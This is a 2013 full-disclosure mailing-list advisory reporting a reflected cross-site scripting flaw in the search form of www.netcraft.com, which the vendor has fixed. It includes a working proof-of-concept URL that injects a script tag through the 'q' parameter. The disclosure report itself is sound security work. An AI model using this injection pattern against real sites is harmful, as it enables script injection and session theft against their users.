full-disclosure - www.netcraft.com - "Search Form" Cross-site Scripting vulnerability

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Message-ID: <51928A2A.3020209@t-online.de>
Date: Tue, 14 May 2013 21:02:02 +0200
From: Stefan Schurtz <sschurtz@...nline.de>
To: full-disclosure@...ts.grok.org.uk
Subject: www.netcraft.com - "Search Form" Cross-site
	Scripting vulnerability

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Advisory:		www.netcraft.com - Search Form Cross-site Scripting vulnerability
Advisory ID:		SSCHADV2013-008
Author:			Stefan Schurtz
Affected Software:	Successfully tested on www.netcraft.com
Vendor URL:		http://www.netcraft.com
Vendor Status:		fixed

==========================
Vulnerability Description
==========================

The 'q'-Parameter in the Search Form on www.netcraft.com is prone to a
XSS vulnerability.

==========================
PoC-Exploit
==========================

// IE8 & IE 10 & Aurora 8.0

http://www.netcraft.com/search/?q=127.0.0.1"></iframe><script>alert(document.domain)</script>&submit=Search&submit=Search

==========================
Solution
==========================

fixed

==========================
Disclosure Timeline
==========================

12-May-2013 - vendor informed by email
13-may-2013 - feedback from vendor

==========================
Credits
==========================

Vulnerability found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://www.netcraft.com
http://www.darksecurity.de/advisories/2013/SSCHADV2013-008.txt
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Download attachment "0x62DC6CC0.asc" of type "application/pgp-keys" (1923 bytes)

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